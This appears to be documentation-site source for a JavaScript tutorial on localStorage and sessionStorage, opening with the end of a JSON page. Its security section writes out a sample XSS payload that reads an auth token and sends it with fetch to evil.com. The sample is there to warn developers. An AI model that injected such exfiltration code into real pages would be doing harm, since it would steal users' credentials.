Frequently Asked Questions <AccordionGroup> <Accordion title="What does JSON.stringify() do with undefined, functions, and Symbols?"> `JSON.stringify()` silently omits properties whose values are `undefined`, functions, or Symbols. In arrays, these values are replaced with `null`. MDN documents this behavior as part of the serialization algorithm defined in the ECMA-262 specification. </Accordion> <Accordion title="What is a replacer function in JSON.stringify()?"> A replacer is the optional second argument to `JSON.stringify()` — either a function or an array. A function receives each key-value pair and can transform or exclude values by returning `undefined`. An array acts as a whitelist, including only the listed property names in the output. </Accordion> <Accordion title="How do I handle circular references in JSON?"> `JSON.stringify()` throws a `TypeError` when it encounters circular references. Solutions include using a replacer function that tracks seen objects, libraries like `flatted` or `circular-json`, or restructuring your data to eliminate cycles before serialization. </Accordion> <Accordion title="What is the reviver parameter in JSON.parse()?"> The reviver is an optional second argument to `JSON.parse()` that transforms values during parsing. It's commonly used to convert ISO date strings back into `Date` objects. The reviver function receives each key-value pair and returns the transformed value. </Accordion> <Accordion title="How do I pretty-print JSON in JavaScript?"> Pass a third argument to `JSON.stringify()` for indentation: `JSON.stringify(data, null, 2)` adds 2-space indentation. You can use a number (1-10) for spaces or a string like `'\t'` for tabs. According to the ECMA-404 specification, whitespace in JSON is purely cosmetic. </Accordion> </AccordionGroup> --- ## Related Concepts <CardGroup cols={2}> <Card title="Object Methods" icon="cube" href="/beyond/concepts/object-methods"> Built-in methods for working with objects, which JSON serialization relies on. </Card> <Card title="localStorage & sessionStorage" icon="database" href="/beyond/concepts/localstorage-sessionstorage"> Web Storage APIs that commonly use JSON for storing complex data. </Card> <Card title="Fetch API" icon="globe" href="/concepts/http-fetch"> Making HTTP requests where JSON is the standard data format. </Card> <Card title="Error Handling" icon="triangle-exclamation" href="/concepts/error-handling"> Properly handling JSON.parse errors for invalid input. </Card> </CardGroup> --- ## Reference <CardGroup cols={2}> <Card title="JSON — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/JSON"> Complete reference for the JSON global object and its methods. </Card> <Card title="JSON.stringify() — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/JSON/stringify"> Detailed documentation for the stringify method with all parameters. </Card> <Card title="JSON.parse() — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/JSON/parse"> Documentation for parsing JSON strings with reviver functions. </Card> </CardGroup> --- ## Articles <CardGroup cols={2}> <Card title="JSON methods, toJSON — javascript.info" icon="newspaper" href="https://javascript.info/json"> Comprehensive tutorial covering JSON.stringify, JSON.parse, toJSON, and practical examples. Great for learning the fundamentals with interactive exercises. </Card> <Card title="How to Use JSON.stringify() and JSON.parse() — freeCodeCamp" icon="newspaper" href="https://www.freecodecamp.org/news/json-stringify-example-how-to-parse-a-json-object-with-javascript/"> Detailed tutorial covering all aspects of JSON serialization including replacers, revivers, and practical examples for web developers. </Card> <Card title="Circular References in JavaScript — MDN" icon="newspaper" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Errors/Cyclic_object_value"> Official documentation explaining circular reference errors and strategies to handle them in JSON serialization. </Card> <Card title="Working with JSON — MDN Guide" icon="newspaper" href="https://developer.mozilla.org/en-US/docs/Learn_web_development/Core/Scripting/JSON"> MDN's beginner-friendly guide to JSON, including fetching JSON data and working with APIs. </Card> </CardGroup> --- ## Videos <CardGroup cols={2}> <Card title="JSON Parse & Stringify — Web Dev Simplified" icon="video" href="https://www.youtube.com/watch?v=l3sCILAHmSw"> Clear explanation of JSON basics plus advanced topics like replacers and revivers. Kyle's teaching style makes complex concepts accessible. </Card> <Card title="JavaScript JSON Methods — Traversy Media" icon="video" href="https://www.youtube.com/watch?v=wI1CWzNtE-M"> Practical walkthrough of JSON methods with real coding examples. Great for seeing how JSON is used in actual web development. </Card> <Card title="JSON in 100 Seconds — Fireship" icon="video" href="https://www.youtube.com/watch?v=iiADhChRriM"> Lightning-fast overview of JSON format and JavaScript methods. Perfect refresher if you already know the basics. </Card> </CardGroup> ================================================ FILE: docs/beyond/concepts/localstorage-sessionstorage.mdx ================================================ --- title: "localStorage & sessionStorage" sidebarTitle: "localStorage & sessionStorage" description: "Master Web Storage APIs in JavaScript. Learn localStorage vs sessionStorage, JSON serialization, storage events, security best practices, and when to use each." "og:type": "article" "article:author": "Leonardo Maldonado" "article:section": "Browser Storage" "article:tag": "localstorage sessionstorage, web storage api, persistent storage, json serialization, storage events" --- How do you keep a user's dark mode preference when they return to your site? Why does your shopping cart persist across browser sessions, but form data vanishes when you close a tab? How do modern web apps remember state without constantly calling the server? ```javascript // Save user preference - persists forever (until cleared) localStorage.setItem("theme", "dark") // Retrieve the preference later const theme = localStorage.getItem("theme") // "dark" // Temporary data - gone when tab closes sessionStorage.setItem("formDraft", "Hello...") // Check what's stored console.log(localStorage.length) // 1 console.log(sessionStorage.length) // 1 ``` The answer is the **[Web Storage API](https://developer.mozilla.org/en-US/docs/Web/API/Web_Storage_API)**. Supported by over 97% of browsers worldwide according to Can I Use, it's one of the most practical browser APIs you'll use daily, and understanding when to use `localStorage` vs `sessionStorage` will make your applications more user-friendly and performant. <Info> **What you'll learn in this guide:** - The difference between [`localStorage`](https://developer.mozilla.org/en-US/docs/Web/API/Window/localStorage) and [`sessionStorage`](https://developer.mozilla.org/en-US/docs/Web/API/Window/sessionStorage) - The complete Web Storage API (`setItem`, `getItem`, `removeItem`, `clear`, `key`, `length`) - Storing complex data with [JSON](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/JSON) serialization - Storage events for cross-tab communication - Storage limits, quotas, and private browsing behavior - Security considerations and XSS prevention - When to use Web Storage vs cookies vs IndexedDB </Info> <Warning> **Prerequisites:** This guide assumes you're familiar with the [DOM](/concepts/dom) and basic JavaScript objects. Understanding [JSON](/beyond/concepts/json-deep-dive) will help with the serialization sections. </Warning> --- ## What is Web Storage in JavaScript? **[Web Storage](https://developer.mozilla.org/en-US/docs/Web/API/Web_Storage_API)** is a browser API that allows JavaScript to store key-value pairs locally in the user's browser. Unlike cookies, stored data is never sent to the server with HTTP requests. Web Storage provides two mechanisms: `localStorage` for persistent storage that survives browser restarts, and `sessionStorage` for temporary storage that is cleared when the browser tab closes. Here's the key insight: Web Storage is synchronous, string-only, and scoped to the origin (protocol + domain + port). As MDN documents, these constraints make it simple to use but require understanding for effective implementation — particularly the synchronous nature, which can block the main thread with large data operations. <Note> Web Storage has been available in all major browsers since July 2015. It's part of the HTML5 specification and is considered a "Baseline" feature—meaning you can rely on it working everywhere. </Note> --- ## The Hotel Storage Analogy Think of browser storage like staying at a hotel: **localStorage** is like a **permanent storage locker** at the hotel. You rent it once, and your belongings stay there even if you leave and come back months later. The only way items disappear is if you remove them yourself or the hotel clears them out. **sessionStorage** is like the **safe in your hotel room**. It's convenient and secure while you're staying, but the moment you check out (close the tab), everything in the safe is cleared. Each room (tab) has its own separate safe. ``` ┌─────────────────────────────────────────────────────────────────────────────┐ │ WEB STORAGE: THE HOTEL ANALOGY │ ├─────────────────────────────────────────────────────────────────────────────┤ │ │ │ localStorage sessionStorage │ │ ═══════════ ══════════════ │ │ │ │ ┌─────────────────┐ ┌─────────────────┐ │ │ │ STORAGE LOCKER │ │ ROOM SAFE │ │ │ │ │ │ │ │ │ │ ┌───────────┐ │ │ ┌───────────┐ │ │ │ │ │ Theme: │ │ │ │ Form: │ │ │ │ │ │ "dark" │ │ │ │ "draft" │ │ │ │ │ ├───────────┤ │ │ └───────────┘ │ │ │ │ │ User: │ │ │ │ │ │ │ │ "Alice" │ │ │ Cleared when │ │ │ │ └───────────┘ │ │ tab closes │ │ │ │ │ │ │ │ │ │ Persists │ └─────────────────┘ │ │ │ forever │ │ │ └─────────────────┘ Each tab has its own safe! │ │ │ │ Shared across ALL ┌─────────┐ ┌─────────┐ │ │ tabs and windows │ Tab 1 │ │ Tab 2 │ │ │ from same origin │ Safe A │ │ Safe B │ │ │ └─────────┘ └─────────┘ │ │ │ └─────────────────────────────────────────────────────────────────────────────┘ ``` This is exactly how Web Storage works: - **localStorage**: Shared across all tabs/windows from the same origin, persists until explicitly cleared - **sessionStorage**: Isolated to each tab, cleared when the tab closes --- ## localStorage vs sessionStorage Comparison Both APIs share the exact same methods, but their behavior differs significantly: | Feature | localStorage | sessionStorage | |---------|-------------|----------------| | **Persistence** | Until explicitly cleared | Until tab/window closes | | **Scope** | Shared across all tabs/windows | Isolated to single tab | | **Survives browser restart** | Yes | No | | **Survives page refresh** | Yes | Yes | | **Storage limit** | ~5-10 MB per origin | ~5-10 MB per origin | | **Accessible from** | Any tab with same origin | Only the originating tab | ### When to Use Each <Tabs> <Tab title="Use localStorage for"> ```javascript // User preferences that should persist localStorage.setItem("theme", "dark") localStorage.setItem("language", "en") localStorage.setItem("fontSize", "16px") // Recently viewed items const recentItems = ["item1", "item2", "item3"] localStorage.setItem("recentlyViewed", JSON.stringify(recentItems)) // Feature flags or A/B test assignments localStorage.setItem("experiment_checkout_v2", "true") ``` </Tab> <Tab title="Use sessionStorage for"> ```javascript // Form data that shouldn't persist after session sessionStorage.setItem("checkoutStep", "2") sessionStorage.setItem("formDraft", JSON.stringify(formData)) // Temporary navigation state sessionStorage.setItem("scrollPosition", "450") sessionStorage.setItem("lastSearchQuery", "javascript tutorials") // One-time messages or notifications sessionStorage.setItem("welcomeShown", "true") ``` </Tab> </Tabs> --- ## The Web Storage API Both `localStorage` and `sessionStorage` implement the [`Storage`](https://developer.mozilla.org/en-US/docs/Web/API/Storage) interface, providing identical methods: ### setItem(key, value) Stores a key-value pair. If the key already exists, updates the value. ```javascript // Basic usage localStorage.setItem("username", "alice") sessionStorage.setItem("sessionId", "abc123") // Overwrites existing value localStorage.setItem("username", "bob") // Now "bob" ``` ### getItem(key) Retrieves the value for a key. Returns `null` if the key doesn't exist. ```javascript const username = localStorage.getItem("username") // "bob" const missing = localStorage.getItem("nonexistent") // null // Common pattern: provide default value const theme = localStorage.getItem("theme") || "light" ``` ### removeItem(key) Removes a specific key-value pair. ```javascript localStorage.removeItem("username") localStorage.getItem("username") // null ``` ### clear() Removes ALL key-value pairs from storage. ```javascript // Clear everything - use with caution! localStorage.clear() sessionStorage.clear() ``` ### key(index) Returns the key at a given index. Useful for iterating. ```javascript localStorage.setItem("a", "1") localStorage.setItem("b", "2") localStorage.key(0) // "a" (order not guaranteed) localStorage.key(1) // "b" localStorage.key(99) // null (index out of bounds) ``` ### length Property that returns the number of stored items. ```javascript localStorage.clear() localStorage.setItem("x", "1") localStorage.setItem("y", "2") console.log(localStorage.length) // 2 ``` ### Complete Example ```javascript // A simple storage utility function demonstrateStorageAPI() { // Clear previous data localStorage.clear() // Store some items localStorage.setItem("name", "Alice") localStorage.setItem("role", "Developer") localStorage.setItem("level", "Senior") console.log("Items stored:", localStorage.length) // 3 // Read an item console.log("Name:", localStorage.getItem("name")) // "Alice" // Update an item localStorage.setItem("level", "Lead") console.log("Updated level:", localStorage.getItem("level")) // "Lead" // Iterate over all items for (let i = 0; i < localStorage.length; i++) { const key = localStorage.key(i) const value = localStorage.getItem(key) console.log(`${key}: ${value}`) } // Remove one item localStorage.removeItem("role") console.log("After removal:", localStorage.length) // 2 // Clear everything localStorage.clear() console.log("After clear:", localStorage.length) // 0 } ``` --- ## Storing Complex Data with JSON Web Storage can only store strings. When you try to store other types, they're automatically converted to strings—often with unexpected results: ```javascript // Numbers become strings localStorage.setItem("count", 42) typeof localStorage.getItem("count") // "string", value is "42" // Booleans become strings localStorage.setItem("isActive", true) localStorage.getItem("isActive") // "true" (string, not boolean!) // Objects become "[object Object]" - NOT useful! localStorage.setItem("user", { name: "Alice" }) localStorage.getItem("user") // "[object Object]" - data lost! // Arrays become comma-separated strings localStorage.setItem("items", [1, 2, 3]) localStorage.getItem("items") // "1,2,3" (string, not array) ``` ### The Solution: JSON.stringify and JSON.parse Use [`JSON.stringify()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/JSON/stringify) when storing and [`JSON.parse()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/JSON/parse) when retrieving: ```javascript // Storing objects const user = { name: "Alice", age: 30, roles: ["admin", "user"] } localStorage.setItem("user", JSON.stringify(user)) // Retrieving objects const storedUser = JSON.parse(localStorage.getItem("user")) console.log(storedUser.name) // "Alice" console.log(storedUser.roles) // ["admin", "user"] // Storing arrays const favorites = ["item1", "item2", "item3"] localStorage.setItem("favorites", JSON.stringify(favorites)) const storedFavorites = JSON.parse(localStorage.getItem("favorites")) console.log(storedFavorites[0]) // "item1" ``` ### A Safer Storage Wrapper Create a utility that handles JSON automatically and provides safe defaults: ```javascript const storage = { set(key, value) { try { localStorage.setItem(key, JSON.stringify(value)) return true } catch (error) { console.error("Storage set failed:", error) return false } }, get(key, defaultValue = null) { try { const item = localStorage.getItem(key) return item ? JSON.parse(item) : defaultValue } catch (error) { console.error("Storage get failed:", error) return defaultValue } }, remove(key) { localStorage.removeItem(key) }, clear() { localStorage.clear() } } // Usage - much cleaner! storage.set("user", { name: "Alice", premium: true }) const user = storage.get("user") // { name: "Alice", premium: true } const missing = storage.get("nonexistent", { guest: true }) // { guest: true } ``` ### JSON Gotchas Be aware of these limitations when using JSON serialization: ```javascript // Date objects become strings const data = { created: new Date() } localStorage.setItem("data", JSON.stringify(data)) const parsed = JSON.parse(localStorage.getItem("data")) console.log(typeof parsed.created) // "string", not Date object! // To fix: parse dates manually parsed.created = new Date(parsed.created) // undefined values are lost const obj = { a: 1, b: undefined } JSON.stringify(obj) // '{"a":1}' - 'b' is gone! // Functions are not serializable const withFunction = { greet: () => "hello" } JSON.stringify(withFunction) // '{}' - function is gone! // Circular references throw errors const circular = { name: "test" } circular.self = circular JSON.stringify(circular) // TypeError: Converting circular structure to JSON ``` --- ## Storage Events for Cross-Tab Communication The [`storage`](https://developer.mozilla.org/en-US/docs/Web/API/Window/storage_event) event fires when storage is modified from **another** document (tab/window) with the same origin. This enables cross-tab communication. <Warning> **Important:** The storage event does NOT fire in the tab that made the change—only in OTHER tabs. This is a common source of confusion! </Warning> ```javascript // Listen for storage changes from other tabs window.addEventListener("storage", (event) => { console.log("Storage changed!") console.log("Key:", event.key) // The key that changed console.log("Old value:", event.oldValue) // Previous value console.log("New value:", event.newValue) // New value console.log("URL:", event.url) // URL of the document that changed it console.log("Storage area:", event.storageArea) // localStorage or sessionStorage }) ``` ### The StorageEvent Properties | Property | Description | |----------|-------------| | `key` | The key that was changed (`null` if `clear()` was called) | | `oldValue` | The previous value (`null` if new key) | | `newValue` | The new value (`null` if key was removed) | | `url` | The URL of the document that made the change | | `storageArea` | The Storage object that was modified | ### Practical Example: Syncing Logout Across Tabs ```javascript // In your authentication module function setupAuthSync() { window.addEventListener("storage", (event) => { // User logged out in another tab if (event.key === "authToken" && event.newValue === null) { console.log("User logged out in another tab") window.location.href = "/login" } // User logged in another tab if (event.key === "authToken" && event.oldValue === null) { console.log("User logged in from another tab") window.location.reload() } }) } // When user logs out function logout() { localStorage.removeItem("authToken") // This triggers event in OTHER tabs window.location.href = "/login" } ``` ### Testing Storage Events Since storage events only fire in other tabs, here's how to test manually: 1. Open your site in two browser tabs 2. Open DevTools console in both tabs 3. In Tab 1, add the event listener: ```javascript window.addEventListener("storage", (e) => console.log("Changed:", e.key)) ``` 4. In Tab 2, modify storage: ```javascript localStorage.setItem("test", "value") ``` 5. Tab 1's console will show: `Changed: test` --- ## Storage Limits and Quotas Web Storage has size limits that vary by browser: | Browser | localStorage Limit | sessionStorage Limit | |---------|-------------------|---------------------| | Chrome | ~5 MB | ~5 MB | | Firefox | ~5 MB | ~5 MB | | Safari | ~5 MB | ~5 MB | | Edge | ~5 MB | ~5 MB | <Note> The limit is per **origin** (protocol + domain + port), not per page. All pages on `https://example.com` share the same 5 MB quota. </Note> ### Handling QuotaExceededError When you exceed the limit, `setItem()` throws a [`QuotaExceededError`](https://developer.mozilla.org/en-US/docs/Web/API/DOMException): ```javascript function safeSetItem(key, value) { try { localStorage.setItem(key, value) return true } catch (error) { if (error.name === "QuotaExceededError") { console.error("Storage quota exceeded!") // Handle gracefully: clear old data, notify user, etc. return false } throw error // Re-throw unexpected errors } } // Usage const largeData = "x".repeat(10 * 1024 * 1024) // 10 MB string if (!safeSetItem("largeData", largeData)) { console.log("Failed to save - storage full") } ``` ### Private Browsing / Incognito Mode Web Storage behaves differently in private browsing: ``` ┌─────────────────────────────────────────────────────────────────────────────┐ │ PRIVATE BROWSING BEHAVIOR │ ├─────────────────────────────────────────────────────────────────────────────┤ │ │ │ Browser Behavior in Private Mode │ │ ─────────────────────────────────────────────────────────────────────── │ │ Safari localStorage throws QuotaExceededError on ANY write │ │ Chrome localStorage works but cleared when window closes │ │ Firefox localStorage works but cleared when window closes │ │ Edge localStorage works but cleared when window closes │ │ │ │ All browsers: sessionStorage works normally but cleared on close │ │ │ └─────────────────────────────────────────────────────────────────────────────┘ ``` Always use feature detection to handle these cases gracefully. --- ## Feature Detection Always check if Web Storage is available before using it: ```javascript function storageAvailable(type) { try { const storage = window[type] const testKey = "__storage_test__" storage.setItem(testKey, testKey) storage.removeItem(testKey) return true } catch (error) { return ( error instanceof DOMException && error.name === "QuotaExceededError" && // Acknowledge QuotaExceededError only if there's something already stored storage && storage.length !== 0 ) } } // Usage if (storageAvailable("localStorage")) { // Safe to use localStorage localStorage.setItem("key", "value") } else { // Fall back to cookies, memory storage, or inform user console.warn("localStorage not available") } if (storageAvailable("sessionStorage")) { // Safe to use sessionStorage sessionStorage.setItem("key", "value") } ``` --- ## Security Considerations <Warning> **Critical Security Warning:** Never store sensitive data in Web Storage. localStorage is vulnerable to XSS (Cross-Site Scripting) attacks. Any JavaScript running on your page can access localStorage—including malicious scripts injected by attackers. </Warning> ### What NOT to Store ```javascript // NEVER store these in localStorage or sessionStorage: localStorage.setItem("password", "secret123") // Passwords localStorage.setItem("creditCard", "4111111111111111") // Payment info localStorage.setItem("ssn", "123-45-6789") // Personal identifiers localStorage.setItem("authToken", "jwt.token.here") // Auth tokens (use HTTP-only cookies) localStorage.setItem("apiKey", "sk-abc123") // API keys ``` ### Why localStorage is Vulnerable ```javascript // If an attacker can inject JavaScript (XSS), they can: const stolenData = localStorage.getItem("authToken") // Send to attacker's server fetch("https://evil.com/steal?token=" + stolenData) // Or steal ALL stored data for (let i = 0; i < localStorage.length; i++) { const key = localStorage.key(i) const value = localStorage.getItem(key) // Exfiltrate everything... } ``` ### Best Practices 1. **Store only non-sensitive data**: User preferences, UI state, cached public data 2. **Use HTTP-only cookies for authentication**: Tokens, session IDs 3. **Implement Content Security Policy (CSP)**: Prevent XSS attacks 4. **Sanitize all user input**: Never trust data from users 5. **Consider encryption for semi-sensitive data**: Though this adds complexity The OWASP Foundation explicitly recommends against storing sensitive data in Web Storage. For comprehensive security guidance, see the [OWASP HTML5 Security Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/HTML5_Security_Cheat_Sheet.html#local-storage). --- ## When to Use Which Storage Solution Choosing the right storage depends on your use case: | Need | Best Solution | Why | |------|---------------|-----| | User preferences (theme, language) | localStorage | Persists across sessions | | Shopping cart | localStorage | User expects it to persist | | Form wizard progress | sessionStorage | Temporary, per-tab data | | Authentication tokens | HTTP-only cookies | Secure from JavaScript | | Large structured data (>5MB) | IndexedDB | No size limit, async | | Data server needs to read | Cookies | Sent with every request | | Offline-first apps | IndexedDB + Service Workers | Full offline support | | Caching API responses | localStorage or Cache API | Depends on size/complexity | ``` ┌─────────────────────────────────────────────────────────────────────────────┐ │ STORAGE DECISION FLOWCHART │ ├─────────────────────────────────────────────────────────────────────────────┤ │ │ │ Does the server need to read it? │ │ │ │ │ ├── YES → Use Cookies │ │ │ │ │ └── NO → Is it sensitive data (tokens, passwords)? │ │ │ │ │ ├── YES → Use HTTP-only Cookies │ │ │ │ │ └── NO → Is data > 5MB or complex/indexed? │ │ │ │ │ ├── YES → Use IndexedDB │ │ │ │ │ └── NO → Should it persist across sessions? │ │ │ │ │ ├── YES → Use localStorage │ │ │ │ │ └── NO → Use sessionStorage │ │ │ └─────────────────────────────────────────────────────────────────────────────┘ ``` --- ## Common Patterns and Use Cases ### Theme/Dark Mode Preference ```javascript // Save theme preference function setTheme(theme) { document.documentElement.setAttribute("data-theme", theme) localStorage.setItem("theme", theme) } // Load theme on page load function loadTheme() { const savedTheme = localStorage.getItem("theme") const prefersDark = window.matchMedia("(prefers-color-scheme: dark)").matches const theme = savedTheme || (prefersDark ? "dark" : "light") setTheme(theme) } // Toggle theme function toggleTheme() { const current = localStorage.getItem("theme") || "light" setTheme(current === "light" ? "dark" : "light") } ``` ### Multi-Step Form Wizard ```javascript // Save form progress in sessionStorage (clears when tab closes) function saveFormProgress(step, data) { const progress = JSON.parse(sessionStorage.getItem("formProgress") || "{}") progress[step] = data progress.currentStep = step sessionStorage.setItem("formProgress", JSON.stringify(progress)) } // Restore form progress function loadFormProgress() { const progress = JSON.parse(sessionStorage.getItem("formProgress") || "{}") return progress } // Clear on successful submission function clearFormProgress() { sessionStorage.removeItem("formProgress") } ``` ### Recently Viewed Items ```javascript function addToRecentlyViewed(item, maxItems = 10) { const recent = JSON.parse(localStorage.getItem("recentlyViewed") || "[]") // Remove if already exists (to move to front) const filtered = recent.filter((i) => i.id !== item.id) // Add to front filtered.unshift(item) // Keep only maxItems const trimmed = filtered.slice(0, maxItems) localStorage.setItem("recentlyViewed", JSON.stringify(trimmed)) } function getRecentlyViewed() { return JSON.parse(localStorage.getItem("recentlyViewed") || "[]") } ``` --- ## Common Mistakes and Pitfalls <AccordionGroup> <Accordion title="1. Forgetting JSON.stringify/parse"> ```javascript // WRONG - stores "[object Object]" localStorage.setItem("user", { name: "Alice" }) // CORRECT localStorage.setItem("user", JSON.stringify({ name: "Alice" })) const user = JSON.parse(localStorage.getItem("user")) ``` </Accordion> <Accordion title="2. Not handling null from getItem"> ```javascript // DANGEROUS - JSON.parse(null) returns null, but other code might fail const settings = JSON.parse(localStorage.getItem("settings")) settings.theme // TypeError if settings is null! // SAFE - provide default const settings = JSON.parse(localStorage.getItem("settings")) || {} const theme = settings.theme || "light" ``` </Accordion> <Accordion title="3. Assuming storage is always available"> ```javascript // WRONG - will crash in private browsing (Safari) localStorage.setItem("key", "value") // CORRECT - check first if (storageAvailable("localStorage")) { localStorage.setItem("key", "value") } ``` </Accordion> <Accordion title="4. Not handling QuotaExceededError"> ```javascript // WRONG - might throw localStorage.setItem("bigData", hugeString) // CORRECT - catch the error try { localStorage.setItem("bigData", hugeString) } catch (e) { if (e.name === "QuotaExceededError") { // Handle gracefully } } ``` </Accordion> <Accordion title="5. Storing sensitive data"> ```javascript // NEVER DO THIS localStorage.setItem("authToken", token) localStorage.setItem("password", password) // Use HTTP-only cookies for auth instead ``` </Accordion> <Accordion title="6. Expecting storage event in the same tab"> ```javascript // This listener will NOT fire from changes in the SAME tab window.addEventListener("storage", handler) localStorage.setItem("test", "value") // handler NOT called! // Storage events only fire in OTHER tabs with the same origin ``` </Accordion> </AccordionGroup> --- ## Key Takeaways <Info> **The key things to remember about localStorage and sessionStorage:** 1. **Web Storage stores key-value string pairs** — Both localStorage and sessionStorage provide simple, synchronous access to browser storage scoped by origin 2. **localStorage persists forever; sessionStorage clears on tab close** — Choose based on whether data should survive the session 3. **Both are scoped to origin** — Protocol + domain + port; different origins can't access each other's storage 4. **Only strings can be stored** — Use `JSON.stringify()` when saving and `JSON.parse()` when retrieving objects and arrays 5. **Storage events enable cross-tab communication** — The event fires in OTHER tabs, not the one making the change 6. **~5-10 MB limit per origin** — Handle `QuotaExceededError` gracefully 7. **Private browsing may restrict storage** — Safari throws errors; others clear on close 8. **Never store sensitive data** — localStorage is vulnerable to XSS attacks; use HTTP-only cookies for authentication 9. **Always use feature detection** — Check availability before using, especially for private browsing compatibility 10. **Choose the right storage for the job** — localStorage for preferences, sessionStorage for temporary state, cookies for server-readable data, IndexedDB for large data </Info> --- ## Test Your Knowledge <AccordionGroup> <Accordion title="Question 1: What's the key difference between localStorage and sessionStorage?"> **Answer:** `localStorage` persists until explicitly cleared—data survives browser restarts and remains until you call `removeItem()` or `clear()`. `sessionStorage` is cleared when the browser tab closes. Each tab has its own isolated sessionStorage, while localStorage is shared across all tabs from the same origin. </Accordion> <Accordion title="Question 2: Why do you need JSON.stringify when storing objects?"> **Answer:** Web Storage can only store strings. When you try to store an object directly, it gets converted to the string `"[object Object]"`, losing all your data. `JSON.stringify()` converts objects and arrays to JSON strings that can be stored and later restored with `JSON.parse()`. ```javascript // Wrong - data lost localStorage.setItem("user", { name: "Alice" }) // "[object Object]" // Correct - data preserved localStorage.setItem("user", JSON.stringify({ name: "Alice" })) // '{"name":"Alice"}' ``` </Accordion> <Accordion title="Question 3: Which tab receives the storage event—the one making the change or other tabs?"> **Answer:** **Other tabs only.** The storage event fires in all tabs/windows with the same origin EXCEPT the one that made the change. This is by design to enable cross-tab communication without causing infinite loops. If you need to react to changes in the same tab, you'll need to implement that logic separately from the storage event. </Accordion> <Accordion title="Question 4: What error is thrown when storage quota is exceeded?"> **Answer:** `QuotaExceededError` (a type of `DOMException`). You should wrap `setItem()` calls in try-catch when storing potentially large data: ```javascript try { localStorage.setItem("key", largeValue) } catch (e) { if (e.name === "QuotaExceededError") { // Storage is full } } ``` </Accordion> <Accordion title="Question 5: Is it safe to store JWT tokens in localStorage? Why or why not?"> **Answer:** **No, it's not safe.** localStorage is vulnerable to XSS (Cross-Site Scripting) attacks. Any JavaScript running on your page can read localStorage—including malicious scripts injected by attackers. Authentication tokens should be stored in **HTTP-only cookies**, which cannot be accessed by JavaScript. This makes them immune to XSS attacks (though CSRF protection is still needed). </Accordion> <Accordion title="Question 6: How can you check if localStorage is available?"> **Answer:** Use feature detection with try-catch, because localStorage might be disabled, unavailable, or throw errors in private browsing mode: ```javascript function storageAvailable(type) { try { const storage = window[type] const testKey = "__test__" storage.setItem(testKey, testKey) storage.removeItem(testKey) return true } catch (e) { return false } } if (storageAvailable("localStorage")) { // Safe to use } ``` </Accordion> </AccordionGroup> --- ## Frequently Asked Questions <AccordionGroup> <Accordion title="What is the difference between localStorage and sessionStorage?"> `localStorage` persists data until explicitly cleared — it survives browser restarts and remains across all tabs from the same origin. `sessionStorage` is isolated to a single tab and cleared when that tab closes. Both share the same API and a ~5MB storage limit per origin. </Accordion> <Accordion title="How much data can localStorage store?"> Most browsers provide approximately 5–10 MB per origin (protocol + domain + port). According to MDN, the exact limit varies by browser but is typically 5 MB. When you exceed this limit, `setItem()` throws a `QuotaExceededError` that you should handle with try-catch. </Accordion> <Accordion title="Is it safe to store sensitive data in localStorage?"> No. The OWASP Foundation explicitly warns against storing sensitive data in Web Storage. Any JavaScript running on the page — including malicious scripts injected through XSS attacks — can read localStorage. Authentication tokens should be stored in HTTP-only cookies, which are inaccessible to JavaScript. </Accordion> <Accordion title="Does localStorage work in incognito or private browsing mode?"> Behavior varies by browser. Safari may throw a `QuotaExceededError` on any write attempt in private mode. Chrome and Firefox allow localStorage but clear all data when the private window closes. Always use feature detection with try-catch before relying on localStorage. </Accordion> <Accordion title="How do I store objects in localStorage?"> Use `JSON.stringify()` when saving and `JSON.parse()` when retrieving. localStorage can only store strings — storing an object directly converts it to the useless string `"[object Object]"`. Be aware that `Date` objects, `undefined` values, and functions are not preserved through JSON serialization. </Accordion> </AccordionGroup> --- ## Related Concepts <CardGroup cols={2}> <Card title="IndexedDB" icon="database" href="/beyond/concepts/indexeddb"> For larger, structured data with indexes and queries </Card> <Card title="Cookies" icon="cookie" href="/beyond/concepts/cookies"> For server-accessible storage and authentication </Card> <Card title="JSON Deep Dive" icon="code" href="/beyond/concepts/json-deep-dive"> Master JSON serialization for complex data storage </Card> <Card title="DOM" icon="window" href="/concepts/dom"> Understanding the browser document object model </Card> </CardGroup> --- ## References <CardGroup cols={2}> <Card title="Web Storage API — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/API/Web_Storage_API"> Complete MDN documentation for the Web Storage API with examples and browser compatibility </Card> <Card title="localStorage — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/API/Window/localStorage"> Official reference for localStorage including exceptions, security considerations, and examples </Card> <Card title="sessionStorage — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/API/Window/sessionStorage"> Official reference for sessionStorage behavior, tab isolation, and page session lifecycle </Card> <Card title="StorageEvent — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/API/StorageEvent"> Reference for the storage event interface used for cross-tab communication </Card> </CardGroup> --- ## Articles <CardGroup cols={2}> <Card title="LocalStorage, sessionStorage — javascript.info" icon="newspaper" href="https://javascript.info/localstorage"> Comprehensive tutorial with interactive examples covering all Web Storage concepts. Great for hands-on learning. </Card> <Card title="Introduction to localStorage and sessionStorage — DigitalOcean" icon="newspaper" href="https://www.digitalocean.com/community/tutorials/js-introduction-localstorage-sessionstorage"> Step-by-step guide covering basic to advanced usage patterns with practical code examples. </Card> <Card title="Using the Web Storage API — MDN" icon="newspaper" href="https://developer.mozilla.org/en-US/docs/Web/API/Web_Storage_API/Using_the_Web_Storage_API"> Official MDN guide with feature detection patterns and complete working examples. </Card> <Card title="OWASP HTML5 Security Cheat Sheet" icon="shield" href="https://cheatsheetseries.owasp.org/cheatsheets/HTML5_Security_Cheat_Sheet.html#local-storage"> Security best practices for Web Storage from the Open Web Application Security Project. </Card> </CardGroup> --- ## Videos <CardGroup cols={2}> <Card title="JavaScript Cookies vs Local Storage vs Session Storage" icon="video" href="https://www.youtube.com/watch?v=GihQAC1I39Q"> Web Dev Simplified's clear comparison of all three client-side storage mechanisms with practical examples. </Card> <Card title="Local Storage & Session Storage — JavaScript 